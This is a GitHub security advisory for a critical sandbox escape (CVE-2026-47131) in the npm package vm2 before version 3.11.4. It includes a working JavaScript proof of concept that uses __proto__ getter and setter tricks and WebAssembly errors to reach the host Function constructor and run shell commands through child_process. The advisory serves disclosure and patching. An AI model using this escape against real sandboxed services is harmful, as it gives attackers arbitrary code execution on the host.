GitHub Advisoryadvisory · npm

GHSA-v6mx-mf47-r5wg vm2 has a Sandbox Escape issue

CRITICAL Published 2026-05-29 Modified 2026-06-12 Official page ↗
Aliases
CVE-2026-47131
Ecosystem
npm
Packages
vm2
Severity
Critical
CVSS vector
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:H
Weaknesses
CWE-913
Reviewed
2026-05-29

Affected packages

• npm vm2: < 3.11.4 → fixed in 3.11.4

Description

Summary By combining `Buffer.call.call({}.__lookupGetter__, Buffer, "__proto__")`, `Buffer.call.call({}.__lookupSetter__, Buffer, "__proto__")`, and Node.js's `ERR_INVALID_ARG_TYPE` Error, the host's `TypeError` constructor can be obtained, which allows the escape from the sandbox. This allows attackers to run arbitrary code. PoC ```js "use strict"; const { VM } = require("vm2"); const vm = new VM(); vm.run(` "use strict"; const getProto = Buffer.call.call({}.__lookupGetter__, Buffer, "__proto__"); const setProto = Buffer.call.call({}.__lookupSetter__, Buffer, "__proto__"); async function f() { try { await WebAssembly.compileStreaming(); } catch(e) { setProto.call(getProto.call(e), null); } try { await WebAssembly.compileStreaming(); } catch(e) { const HostFunction = e.constructor.constructor; new HostFunction("return process")().mainModule.require("child_process").execSync("echo pwned", { stdio: "inherit" }); } } f(); `); ``` Impact Sandbox Escape → RCE

Related

Alias · CVE (1)

  • CVE-2026-47131 vm2 is an open source vm/sandbox for Node.js. vulnerability

Weakness · CWE (1)

  • CWE-913 Improper Control of Dynamically-Managed Code Resources weakness

References